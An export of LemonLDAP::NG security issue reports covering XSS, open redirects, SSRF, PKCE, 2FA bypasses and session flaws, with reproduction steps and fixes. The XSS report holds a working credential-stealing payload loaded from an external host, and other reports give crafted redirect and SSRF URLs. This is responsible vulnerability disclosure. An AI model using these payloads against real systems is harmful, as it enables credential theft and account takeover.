lemonldap-ng issueshttps://gitlab.ow2.org/lemonldap-ng/lemonldap-ng/-/issues2024-02-12T02:44:25Zhttps://gitlab.ow2.org/lemonldap-ng/lemonldap-ng/-/issues/3098[security:low] PKCE is not enforced when requested by RP but not required by OP2024-02-12T02:44:25ZMaxime Besson[security:low] PKCE is not enforced when requested by RP but not required by OP### Affected version
Version: 2.18.1
### Summary
* Configure an OIDC RP in LemonLDAP but don't require PKCE on it
* Use a PKCE flow to login to the RP, with a valid verifier => WORKS :white_check_mark:
* Use a PKCE flow to login to t...### Affected version
Version: 2.18.1
### Summary
* Configure an OIDC RP in LemonLDAP but don't require PKCE on it
* Use a PKCE flow to login to the RP, with a valid verifier => WORKS :white_check_mark:
* Use a PKCE flow to login to the RP, with a non-valid verifier => ALSO WORKS :thinking:
PKCE is a mechanism that protect the authorization code from being stolen by another application. LemonLDAP implements PKCE as an optional security mechanism.
As per https://datatracker.ietf.org/doc/html/rfc7636#section-4.4
> When the server issues the authorization code in the authorization
> response, it MUST associate the "code_challenge" and
> "code_challenge_method" values with the authorization code so it can
> be verified later.
In my understanding, this means that when the RP triggers PKCE, the OP MUST enforce it during the token request, which is not the case now.
Current behavior is:
* Require PKCE enabled: PKCE is required at authorization time in all cases + enforced at token request time
* Require PKCE disabled: PKCE not required at authorization time + not enforced at token request time
In my opinion, the behaviour should be:
* Require PKCE enabled: same as above
* Require PKCE disabled: PKCE not required at authorization time + *but enforced at token request time* if the application used it
Do you agree @guimard @clement_oudot ?2.18.2Maxime BessonMaxime Bessonhttps://gitlab.ow2.org/lemonldap-ng/lemonldap-ng/-/issues/3070[Security:low] XSS via JavaScript-URI as Redirect URI and form_post Response ...2024-02-12T02:44:25ZLauritz Holtmann[Security:low] XSS via JavaScript-URI as Redirect URI and form_post Response Mode*LEMONLDAP::NG* is vulnerable to a reflected Cross-Site Scripting vulnerability via JavaScript-URIs in OpenID Connect flows with `response_mode=form_post`.
## Steps to Reproduce
Preparation:
1. Enable Public Registration via http://mana...*LEMONLDAP::NG* is vulnerable to a reflected Cross-Site Scripting vulnerability via JavaScript-URIs in OpenID Connect flows with `response_mode=form_post`.
## Steps to Reproduce
Preparation:
1. Enable Public Registration via http://manager.example.com/ -> OpenID Connect Service -> Dynamic Registration (alternatively register a client via UI in the following).
2. Enable to drop CSP on Auth. Responses via http://manager.example.com/ -> OpenID Connect Service -> Security -> Drop CSP headers from OIDC responses (otherwise XSS would be blocked by browsers that support CSP directives).
Then perform the actual attack:
1. Register new Client using OIDC Dynamic Client registration:
```http
POST /oauth2/register HTTP/1.1
Host: auth.example.com
Content-Type: application/json
Content-Length: 140
{
"redirect_uris":["javascript:confirm(document.domain)","javascript:import('https://xss.lhq.at/password-disclosure.js')"]
}
```
2. Trigger XSS via `http://auth.example.com/oauth2/authorize?client_id=yCbq4Y6VZONzcrGdwVLaNgnG0Am81Q&response_type=code&response_mode=form_post&scope=openid&redirect_uri=javascript:confirm(document.domain)` (Adjust client_id)
## Impact
As shown above, JavaScript is evaluated in the conext of `http://auth.example.com/`, allowing to perform arbitrary actions on behalf of an end-user and in their session.
Further, end-user credentials can be obtained in case a victim uses a password manager that auto-fills login forms. In the following, we assume the victim uses a current Firefox.
JS-Exploit-Payload: https://xss.lhq.at/password-disclosure.js
```JavaScript
window.attackUsernameField = document.createElement("input");
window.attackPasswordField = document.createElement("input");
attackUsernameField.type = 'text';
attackUsernameField.name = 'username';
attackPasswordField.type = 'password';
attackPasswordField.autocomplete = 'current-password';
attackPasswordField.addEventListener("change",()=>{alert(`Username: ${attackUsernameField.value}\nPassword: ${attackPasswordField.value}`)});
document.body.appendChild(attackUsernameField);
document.body.appendChild(attackPasswordField);
```
Note that FF only auto-fills credentials in secure contexts (HTTPS), so that testing this may require additional configuration.
To test password disclosure, use current Firefox and:
1. Browse `https://auth.example.com/` and enter exemplary invalid credentials. Opt-in to store credentials in your browser!
2. Browse `https://auth.example.com/oauth2/authorize?client_id=lhibBNkkd4w8hPLPxjehY8fAT2MD/L&response_type=code&response_mode=form_post&scope=openid&redirect_uri=javascript:import(%27https://xss.lhq.at/password-disclosure.js%27)` and observe `alert()` with clear text credentials.
The impact is limited by a Content-Security-Policy directive which was enabled by default in my test setup. There is a specific option to disable this setting and there are still browsers out-there and in use that do not support CSP directives.
## Recommendation
It is recommended to do not allow dangerous schemes such as `javascript`, `data` or `vbscript` as allowed Redirect URIs.2.18.2YaddYaddhttps://gitlab.ow2.org/lemonldap-ng/lemonldap-ng/-/issues/3003[Security:low] Open redirection when OIDC RP isn't configured with redirectio...2023-09-25T14:46:11ZYadd[Security:low] Open redirection when OIDC RP isn't configured with redirection uriThis can't happen if configuration was modified using the manager _(a test filters this case)_.
The issue is: if this misconfiguration exists, LLNG follows redirection given in redirect_uri parameter.This can't happen if configuration was modified using the manager _(a test filters this case)_.
The issue is: if this misconfiguration exists, LLNG follows redirection given in redirect_uri parameter.2.17.1YaddYaddhttps://gitlab.ow2.org/lemonldap-ng/lemonldap-ng/-/issues/2998[Security:low][CVE-2023-44469] SSRF vulnerability in OIDC SSO2023-09-29T08:40:43ZMike Lorang[Security:low][CVE-2023-44469] SSRF vulnerability in OIDC SSO### Affected version
Version: lemonldap-ng 2.16.2-1
Platform: Apache
### Summary
The vulnerability is very similar to other implementations of OIDC.
The SSRF occurs, when changing the request_uri parameter in the url.
Here is a blog...### Affected version
Version: lemonldap-ng 2.16.2-1
Platform: Apache
### Summary
The vulnerability is very similar to other implementations of OIDC.
The SSRF occurs, when changing the request_uri parameter in the url.
Here is a blogpost describing similar issues in other implementations:
https://security.lauritz-holtmann.de/post/sso-security-ssrf/
### Details
Here is the GET request in detail:
```
GET /oauth2/authorize?client_id=<redacted>&nonce=<redacted>&redirect_uri=<redacted>&response_type=code&scope=openid%20profile%20email&state=<redacted>&request_uri=https://attacker_url.com/requesturi.jwt HTTP/1.1
Host: auth.sso.domain.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/117.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://gitlab.int.govcert.etat.lu/
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-site
Sec-Fetch-User: ?1
Authorization: Negotiate
<some base64 redacted>
Cookie: lemonldappdata=<redacted>
```
A request containing the parameter request_uri set to an arbitrary URL value https://attacker_url.com/requesturi.jwt was sent to the OpenID Authorization Server. As consequence the OpenID Provider interacts with the remote attacker server listening on the specified URL demonstrating that it is vulnerable to SSRF blind issues.
### Possible fixes
For security reasons the URI value of request_uri parameter should be carefully validated at server-side, otherwise an attacker could be able to lead the OpenID Provider to interact with an arbitrary server under is control and then potentially exploit SSRF vulnerabilities. It is advisable to define a strict whitelist of allowed URI values (pre-registered during the OpenID client registration process) for the request_uri parameter.2.17.1Maxime BessonMaxime Bessonhttps://gitlab.ow2.org/lemonldap-ng/lemonldap-ng/-/issues/2946userControl regexp is not applied by authSlave2023-09-22T13:59:59ZChristophe Maudouxchrmdx@gmail.comuserControl regexp is not applied by authSlave### Affected version
Version: All
Platform: All
Slave authentication module can submit an unvalid login### Affected version
Version: All
Platform: All
Slave authentication module can submit an unvalid login2.17.0Christophe Maudouxchrmdx@gmail.comChristophe Maudouxchrmdx@gmail.comhttps://gitlab.ow2.org/lemonldap-ng/lemonldap-ng/-/issues/2931[Security:medium] open redirection due to incorrect escape handling in URI us...2023-09-22T14:13:30ZMaxime Besson[Security:medium] open redirection due to incorrect escape handling in URI userinfo### Concerned version
Version: 2.16.2
### Summary
* Browse to http://auth.example.com/?url=aHR0cHM6Ly9oYWNrZXIuY29tXEBAdGVzdDEuZXhhbXBsZS5jb20v (https://hacker.com\@@test1.example.com/)
* LLNG detects it as test1.example.com, which is...### Concerned version
Version: 2.16.2
### Summary
* Browse to http://auth.example.com/?url=aHR0cHM6Ly9oYWNrZXIuY29tXEBAdGVzdDEuZXhhbXBsZS5jb20v (https://hacker.com\@@test1.example.com/)
* LLNG detects it as test1.example.com, which is allowed, and sends redirect
* For some reason, browsers "correct" it to https://hacker.com/@@test1.example.com/
### Possible fixes
We should normalize the received URL before using it in redirects:
```perl
my $u = URI->new('https://hacker.com\@@test1.example.com/');
print $u; # https://hacker.com%5C@@test1.example.com
```2.17.0Maxime BessonMaxime Bessonhttps://gitlab.ow2.org/lemonldap-ng/lemonldap-ng/-/issues/2896[Security][CVE-2023-28862] AuthBasic does not handle failure correctly2023-10-08T16:40:55ZMaxime Besson[Security][CVE-2023-28862] AuthBasic does not handle failure correctly### Concerned version
Version: 2.0.16
### Summary
The AuthBasic handler works like this:
* It computes a sessionid from login+password
* If sessionid already exists in the session DB, authenticate user
* Else, try to create the corr...### Concerned version
Version: 2.0.16
### Summary
The AuthBasic handler works like this:
* It computes a sessionid from login+password
* If sessionid already exists in the session DB, authenticate user
* Else, try to create the corresponding session by sending the login+pass to the portal RESTServer plugin
However, the only required step in the login flow is `store`, if anything happens after the`store` step, AuthBasic will succeed because the fixed-id session has been successfully created, which means:
* Accounts that are supposed to be 2FA-protected are not 2FA protected when AuthBasic is used
* If a 2FA module returns an error, the *first* AuthBasic request will 401, but the *second* AuthBasic request will work correctly => *VERY CONFUSING*
* Any plugin that tries to deny session *after* the `store` step will not deny AuthBasic sessions
This is probably a security issue
### Possible fixes
If the AuthBasic login process fails (not PE_OK), we need to remove the session created by `store` and return an error
This will cause a regression: users who relied on AuthBasic working for 2FA protected account will now see failures
Possible solution: use an env variable in 2FA activation rules if desired:
```
has2f("TOTP") and not $env->{"AuthBasic"}
```
or something of that sort2.16.1Maxime BessonMaxime Bessonhttps://gitlab.ow2.org/lemonldap-ng/lemonldap-ng/-/issues/2875[Security:Low] incorrect parsing of OP-provided acr2023-05-12T17:56:15ZMaxime Besson[Security:Low] incorrect parsing of OP-provided acr### Concerned version
Version: 2.0.16
### Summary
* Configure Auth::OIDC with an OP that always returns `acr: 1` in the ID token
* Set oidcOPMetaDataOptionsAcrValues to `loa-1`
* `ACR` value `1` is accepted despite not being part of t...### Concerned version
Version: 2.0.16
### Summary
* Configure Auth::OIDC with an OP that always returns `acr: 1` in the ID token
* Set oidcOPMetaDataOptionsAcrValues to `loa-1`
* `ACR` value `1` is accepted despite not being part of the list `['loa-1']`
### Possible fixes
```
unless ( $acr_values =~ /\b$acr\b/i ) {
```
it not a good way to test because `\b` matches too many things (in the example: it matches `-`)2.16.2Maxime BessonMaxime Bessonhttps://gitlab.ow2.org/lemonldap-ng/lemonldap-ng/-/issues/2832[Security:medium] Redirection URL validation bypass using credentials in URL2023-09-22T14:13:30ZClément OUDOT[Security:medium] Redirection URL validation bypass using credentials in URLAn attacker can forge a redirection on a malicious site using a fake credentials in URL value.
Example:
* Portal : https://auth.openid.club
* Allowed application : https://test1.openid.club
* Malicious site : https://google.fr
* Malicio...An attacker can forge a redirection on a malicious site using a fake credentials in URL value.
Example:
* Portal : https://auth.openid.club
* Allowed application : https://test1.openid.club
* Malicious site : https://google.fr
* Malicious URL : https://test1.openid.club:test@google.fr
* Malicious URL base 64 : aHR0cHM6Ly90ZXN0MS5vcGVuaWQuY2x1Yjp0ZXN0QGdvb2dsZS5mcgo=
* Malicious redirection trigger : https://auth.openid.club/?url=aHR0cHM6Ly90ZXN0MS5vcGVuaWQuY2x1Yjp0ZXN0QGdvb2dsZS5mcgo=2.0.16Maxime BessonMaxime Bessonhttps://gitlab.ow2.org/lemonldap-ng/lemonldap-ng/-/issues/2803[Security:low] Adding registrable 2F does not test the current authn level2023-02-01T09:49:20ZMaxime Besson[Security:low] Adding registrable 2F does not test the current authn level### Concerned version
Version: 2.0.15
### Summary
This issue can be reproduced in a lot of different ways
#### Case 1
Given that:
* User has registered TOTP, lvl5
* LemonLDAP also allows WebAuthn, lvl5
* LemonLDAP uses sfOnlyUpgrade...### Concerned version
Version: 2.0.15
### Summary
This issue can be reproduced in a lot of different ways
#### Case 1
Given that:
* User has registered TOTP, lvl5
* LemonLDAP also allows WebAuthn, lvl5
* LemonLDAP uses sfOnlyUpgrade==1
A hacker can:
* Login with stolen password
* Add their own WebAuthn
* Use it to login at lvl5
#### Case 2
Given that:
* LLNG allows weak 2FA by email, lvl3
* User has registered WebAuthn, lvl5
A hacker can:
* Login with stolen password + stolen email code at lvl3
* Register an additional WebAuthn device that they control
* Login with the controlled WebAuthn device at lvl5
#### See also
#2332 for a similar issue
### Possible fixes
These issues seem to be caused by the fact that we allow registering a new 2FA device even at a low authnlevel, even if a high-level 2FA device already exists.
I suggest that we extend the checks done in #2332 to also apply to registration and not just deletion.
However we need to allow registrating a high-level 2FA device from a low-level session *only* if no high-level 2FA device already exist, to avoid a chicken-and-egg situation2.0.16Christophe Maudouxchrmdx@gmail.comChristophe Maudouxchrmdx@gmail.comhttps://gitlab.ow2.org/lemonldap-ng/lemonldap-ng/-/issues/2758[CVE-2022-37186] Session destroyed on portal but still valid on handlers whil...2023-09-22T14:13:30ZMickael Bride[CVE-2022-37186] Session destroyed on portal but still valid on handlers while there is activity### Concerned version
Version: %2.0.13
Platform: Apache
### Summary
I have activated "One session per user" option.
If I log in a second time with the same account, the 1st session is well destroyed on portal, but on handler, the ses...### Concerned version
Version: %2.0.13
Platform: Apache
### Summary
I have activated "One session per user" option.
If I log in a second time with the same account, the 1st session is well destroyed on portal, but on handler, the session is still valid even after the cache expiration (600s). Session expires on handler only after 600s of inactivity (no request), while it should expire after 600s (with or without activity)
### Logs
When query is accepted by handler (just after the session was destroyed on session backend):
```
[Fri May 13 13:49:22.382959 2022] [perl:debug] [pid 21187] Apache2.pm(14): Get session 6e29421e589869bc4124bc05aa62bdb20da615f2be290a6e48 from Handler::Main::Run
[Fri May 13 13:49:22.383085 2022] [perl:debug] [pid 21187] Apache2.pm(14): Check session validity from Handler
[Fri May 13 13:49:22.383184 2022] [perl:debug] [pid 21187] Apache2.pm(14): Session timeout -> 72000
[Fri May 13 13:49:22.383288 2022] [perl:debug] [pid 21187] Apache2.pm(14): Session timeoutActivity -> 900s
[Fri May 13 13:49:22.383380 2022] [perl:debug] [pid 21187] Apache2.pm(14): Session _utime -> 1652449119
[Fri May 13 13:49:22.383465 2022] [perl:debug] [pid 21187] Apache2.pm(14): now -> 1652449762
[Fri May 13 13:49:22.383551 2022] [perl:debug] [pid 21187] Apache2.pm(14): _lastSeen -> 1652449119
[Fri May 13 13:49:22.383638 2022] [perl:debug] [pid 21187] Apache2.pm(14): now - _lastSeen = 643
[Fri May 13 13:49:22.383732 2022] [perl:debug] [pid 21187] Apache2.pm(14): Session timeoutActivityInterval -> 250
[Fri May 13 13:49:22.383822 2022] [perl:debug] [pid 21187] Apache2.pm(14): Session TTL = 71357
[Fri May 13 13:49:22.407127 2022] [perl:debug] [pid 21187] Apache2.pm(14): Update _lastSeen with 1652449762
[Fri May 13 13:49:22.407431 2022] [perl:debug] [pid 21187] Apache2.pm(14): No URL authentication level found...
[Fri May 13 13:49:22.407566 2022] [perl:debug] [pid 21187] Apache2.pm(14): api-mediation.dev.flexiblecontactcenter.orange-business.com: Apply default rule
```
After 600 seconds of inactivity:
```
[Fri May 13 14:16:08.247736 2022] [perl:info] [pid 21397] Session 6e29421e589869bc4124bc05aa62bdb20da615f2be290a6e48 can't be retrieved
[Fri May 13 14:16:08.247859 2022] [perl:info] [pid 21397] Session cannot be tied: Object does not exist in the data store at /usr/share/perl5/vendor_perl/Apache/Session/Store/DBI.pm line 93.\n
```
### Backends used
I have the following settings:
- Session timeout: 72000
- Sessions activity timeout: 900
- Sessions update interval: 250
- Sessions Storage / cache module options / default_expires_in: 600
### Possible fixes2.0.15YaddYaddhttps://gitlab.ow2.org/lemonldap-ng/lemonldap-ng/-/issues/2612[Security: low, CVE-2021-40874] RESTServer pwdConfirm always returns true wit...2022-02-25T13:18:06ZMaxime Besson[Security: low, CVE-2021-40874] RESTServer pwdConfirm always returns true with Combination + Kerberos### Concerned version
Version: 2.0.13
### Summary
Summarize the bug encountered concisely
* Enable restPasswordServer
* Configure Combination `[Kerberos, Demo] or [Demo]` (works with LDAP too)
* use /proxy/pwdConfirm to validate dwho/...### Concerned version
Version: 2.0.13
### Summary
Summarize the bug encountered concisely
* Enable restPasswordServer
* Configure Combination `[Kerberos, Demo] or [Demo]` (works with LDAP too)
* use /proxy/pwdConfirm to validate dwho/wrongpassword => returns true
### Logs
```
[debug] Entering REST pwdConfirm method
[debug] Processing getUser
[debug] Processing authenticate
[debug] -> authResult = 0
```
Because `authenticate` always returns OK in Auth::Kerberos
See also #2611
Low severity because this feature is probably not used by anyone. To successfully exploit this, a user must have deployed another application that relies on pwdConfirm to validate passwords (such as another LLNG instance using Auth::REST)2.0.14Maxime BessonMaxime Bessonhttps://gitlab.ow2.org/lemonldap-ng/lemonldap-ng/-/issues/2596[security:low] open redirect in CAS gateway mode2022-02-23T12:16:37ZMaxime Besson[security:low] open redirect in CAS gateway mode### Concerned version
Version: 2.0.13
### Summary
* Enable CAS issuer
* Enable access control
* http://auth.example.com/cas/login?service=http://hacker.example.com/&gateway=true
This issue was reported by Netcraft to one of my custom...### Concerned version
Version: 2.0.13
### Summary
* Enable CAS issuer
* Enable access control
* http://auth.example.com/cas/login?service=http://hacker.example.com/&gateway=true
This issue was reported by Netcraft to one of my customers, meaning that is is being used in the wild.
### Logs
URL check missing in:
```perl
if ( $gateway and $gateway eq "true" ) {
$self->logger->debug(
"Gateway mode requested, redirect without authentication");
$req->response( [ 302, [ Location => $service ], [] ] );
for my $s ( $self->ipath, $self->ipath . 'Path' ) {
$self->logger->debug("Removing $s from pdata")
if delete $req->pdata->{$s};
}
return PE_SENDRESPONSE;
}
```2.0.14Maxime BessonMaxime Bessonhttps://gitlab.ow2.org/lemonldap-ng/lemonldap-ng/-/issues/2549[security:low, CVE-2021-35473] OAuth2 handler does not verify access token va...2023-09-22T14:13:29ZMaxime Besson[security:low, CVE-2021-35473] OAuth2 handler does not verify access token validity### Concerned version
Version: %2.0.4 to %2.0.11
### Summary
* Configure an OIDC client
* Configure a OAuth2 handler
* Set access token lifetime to 10 seconds
* Use Access Token from OIDC client to access the OAuth2 handler => works
...### Concerned version
Version: %2.0.4 to %2.0.11
### Summary
* Configure an OIDC client
* Configure a OAuth2 handler
* Set access token lifetime to 10 seconds
* Use Access Token from OIDC client to access the OAuth2 handler => works
* Wait 30 seconds
* Use Access Token from OIDC client to access the OAuth2 handler => *WORKS*
* /userinfo or /introspection correctly show that the token is expired
### Logs
```
[debug] Found OAuth2 access token 597d0faa693e96f08823e73164c87366b586104f575dcc648cf7b90a88b8988e
[debug] Get OIDC session 597d0faa693e96f08823e73164c87366b586104f575dcc648cf7b90a88b8988e
# missing validation here
[debug] Get user session id 59941a30e71df1c86fb05e14eec697264ca38311b18c082731230af6f23f8787
```2.0.12Maxime BessonMaxime Bessonhttps://gitlab.ow2.org/lemonldap-ng/lemonldap-ng/-/issues/2543[security:low] 2FA bypass with sfOnlyUpgrade and totp2fDisplayExistingSecret2023-09-22T14:13:29ZMaxime Besson[security:low] 2FA bypass with sfOnlyUpgrade and totp2fDisplayExistingSecret### Concerned version
Version: 2.0.11
### Summary
* Configure "Use 2FA for session upgrade"
* Configure TOTP with "Display existing secret" enabled
* Steal a user's password and login with it
* Go to 2FA manager, click TOTP
* Scan the...### Concerned version
Version: 2.0.11
### Summary
* Configure "Use 2FA for session upgrade"
* Configure TOTP with "Display existing secret" enabled
* Steal a user's password and login with it
* Go to 2FA manager, click TOTP
* Scan the user's existing TOTP to your own device, and profit.
on backends
### Possible fixes
Either
* Remove the ability to display existing 2FA secrets
Or
* Protect existing secret from being displayed when current authentication level is too low
Depending on #25412.0.12Maxime BessonMaxime Bessonhttps://gitlab.ow2.org/lemonldap-ng/lemonldap-ng/-/issues/2539[security:high, CVE-2021-35472] session cache corruption can lead to authoriz...2023-09-22T14:13:29ZChristophe Maudouxchrmdx@gmail.com[security:high, CVE-2021-35472] session cache corruption can lead to authorization bypass or spoofing### Concerned version
Version: %2.0.0 to %2.0.11
Platform: Nginx/uWSGI
### Summary
- Enable Impersonation plugin
- Enable REST Session server
- Disable CSRF tokens
- Start a terminal and execute :
for i in {1..1000}; do curl -X POST ...### Concerned version
Version: %2.0.0 to %2.0.11
Platform: Nginx/uWSGI
### Summary
- Enable Impersonation plugin
- Enable REST Session server
- Disable CSRF tokens
- Start a terminal and execute :
for i in {1..1000}; do curl -X POST -H 'Accept:application/json' -d user=msmith --data-urlencode password='msmith' http://auth.example.com:19876;done
- make reload
- Login dwho/dwho/dwho and hit F5 to refresh Portal
- Alternatively authenticated as 'dwho' or 'msmith'
### Backends used
PG![vokoscreen-2021-06-08_22-12-00](/uploads/0f9e1505bbbf02384be054e46f27c941/vokoscreen-2021-06-08_22-12-00.mp4)
### Possible fixes
Seems issue is linked to handler internal cache.
Login with 'dwho' / 'dwho'
Enable Impersonation plugin -> make reload_web_server
Start bash loop, hit F5 and session switches to 'msmith'
Stop bash loop and session is back to 'dwho' after 10/15 seconds..;2.0.12YaddYaddhttps://gitlab.ow2.org/lemonldap-ng/lemonldap-ng/-/issues/2535[security:low] Incorrect regexp construction in isTrustedUrl lets attacker st...2023-09-22T14:13:29ZMaxime Besson[security:low] Incorrect regexp construction in isTrustedUrl lets attacker steal session on CDA application### Concerned version
Version: 2.0.11
### Summary
* Configure a CDA vhost (cda.example.com)
* let attack_urldc = base64(http://your-untrusted-domain.com/?attack=http://cda.example.com)
* Trick your target into opening http://auth.lem...### Concerned version
Version: 2.0.11
### Summary
* Configure a CDA vhost (cda.example.com)
* let attack_urldc = base64(http://your-untrusted-domain.com/?attack=http://cda.example.com)
* Trick your target into opening http://auth.lemontest.lxd/?url=attack_url
* User is redirected to http://your-untrusted-domain.com/?attack=http://cda.example.com&lemonldapcda=CDA_CODE
* You may now login to http://cda.example.com?lemonldapcda=CDA_CODE as the target user
Example:
http://auth.example.com/?url=aHR0cDovL3BlcmR1LmNvbS8/ZmFrZT1odHRwOi8vY2RhLmV4YW1wbGUuY29tLw==
### Possible fixes
the trustedDomainsRe is missing a `^`, this is also the case in !185
This mistake causes trustedDomainsRe to be easily bypassed, but CDA is the feature which has the worst impact for this mistake2.0.12Maxime BessonMaxime Bessonhttps://gitlab.ow2.org/lemonldap-ng/lemonldap-ng/-/issues/2495[security:medium] XSS on register form2023-09-22T14:13:29ZClément OUDOT[security:medium] XSS on register formIn register form, we do not check XSS attack before registering data into session:
```perl
# Use submitted value
$req->data->{registerInfo}->{mail} = $req->param('mail');
$req->data->{registerInfo}->{firstnam...In register form, we do not check XSS attack before registering data into session:
```perl
# Use submitted value
$req->data->{registerInfo}->{mail} = $req->param('mail');
$req->data->{registerInfo}->{firstname} = $req->param('firstname');
$req->data->{registerInfo}->{lastname} = $req->param('lastname');
$req->data->{registerInfo}->{ipAddr} = $req->address;
```
This allow to inject HTML code in form that will be displayed in mail for the end user, and can lead to malicious information (redirection on a hacker's site).
We should check for XSS before registering data, for example:
```perl
# Check input
if ( $self->p->checkXSSAttack('mail', $req->param('mail') ) or $self->p->checkXSSAttack('firstname', $req->param('firstname') ) or $self->p->checkXSSAttack('lastname', $req->param('lastname') ) ) {
$self->logger->error("XSS on Register form");
return PE_MALFORMEDUSER;
}
# Use submitted value
$req->data->{registerInfo}->{mail} = $req->param('mail');
$req->data->{registerInfo}->{firstname} = $req->param('firstname');
$req->data->{registerInfo}->{lastname} = $req->param('lastname');
$req->data->{registerInfo}->{ipAddr} = $req->address;
```
A review on all public form should be done to check we have on other issues.2.0.12Clément OUDOTClément OUDOThttps://gitlab.ow2.org/lemonldap-ng/lemonldap-ng/-/issues/2477[security:low] Wildcard in virtualhost allows being redirected to untrusted d...2023-09-22T14:13:29ZAndreas Deschka[security:low] Wildcard in virtualhost allows being redirected to untrusted domainsOne of our users has reported to us the following security problem, which could be used for phishing.
In Lemonldap 2.0.10 when you create a virtual host with a wildcard, for example `*.subdomain.local.test`, an attacker can forward user...One of our users has reported to us the following security problem, which could be used for phishing.
In Lemonldap 2.0.10 when you create a virtual host with a wildcard, for example `*.subdomain.local.test`, an attacker can forward users to every domain by using specially designed urls.
Target url: `https://google.com#abc.subdomain.local.test/` (The slash at the end is important.)
Base64 encoded: `aHR0cHM6Ly9nb29nbGUuY29tI2FiYy5zdWJkb21haW4ubG9jYWwudGVzdC8=`
Url which the user clicks on (looks like it is safe to use): `https://myportal.local.test/url=aHR0cHM6Ly9nb29nbGUuY29tI2FiYy5zdWJkb21haW4ubG9jYWwudGVzdC8=`
User will now get redirected to `https://google.com#abc.subdomain.local.test`
I checked if cda is also affected, but from what I saw, it seems to be not. (We anyway do not have it activated.) The following line always rejects correctly:
https://gitlab.ow2.org/lemonldap-ng/lemonldap-ng/-/blob/v2.0/lemonldap-ng-portal/lib/Lemonldap/NG/Portal/Plugins/CDA.pm#L29
I have no problems, with publishing this issue, when you do not have anything against it.
I used chrome version 88.0.4324.192 for testing.2.0.12YaddYaddhttps://gitlab.ow2.org/lemonldap-ng/lemonldap-ng/-/issues/2332[security:low] removal of registrable 2F does not test the current authn level2022-10-05T08:14:32ZMaxime Besson[security:low] removal of registrable 2F does not test the current authn level### Environment
LemonLDAP::NG version: 2.0.9
### Summary
Given the following conditions
* A registrable (UBK,U2F,TOTP) 2F is used
* Self-registration is enabled on first login (sfRequired)
* Authentication levels are used to filter ac...### Environment
LemonLDAP::NG version: 2.0.9
### Summary
Given the following conditions
* A registrable (UBK,U2F,TOTP) 2F is used
* Self-registration is enabled on first login (sfRequired)
* Authentication levels are used to filter access to certain applications depending on the SF in use
Then an attacker can:
* Login with a "low-security" method, (for example: using stolen credentials)
* Remove the existing second factor (in portal 2FA menu)
* Login again, and be prompted to register a new device they control
* Access high-security applications
This problem is especially noticeable when using the newly introduced `sfOnlyUpgrade` feature is used, because the 2F will not be asked if the user directly logs into the portal. But it can also happen when using a choice menu, or 2F conditions in general, or when multiple 2F are offered with different authnLevels.
### Possible fixes
Before allowing a 2F to be removed, we must check that the user asking for removal has an authnLevel equals or greater than the authnLevel granted by the removed 2F.
The current state of the code does not make this very easy. All 2F modules handle removal themselves entirely. Perhaps we should wrap a test around it.
We should also maybe refactor registrable 2F plugins to have a better API, right now they look like this
```
sub run {
if ($action eq "add") {
}
elsif ($action eq "remove") {
}
etc.
}
```
they should probably look like this instead:
```
sub add {
}
sub remove {
}
```
### Security impact
Probably quite low, it takes a very complicated setup to be affected before 2.0.9, and sfOnlyUpgrade is marked as beta in the doc2.0.10Christophe Maudouxchrmdx@gmail.comChristophe Maudouxchrmdx@gmail.com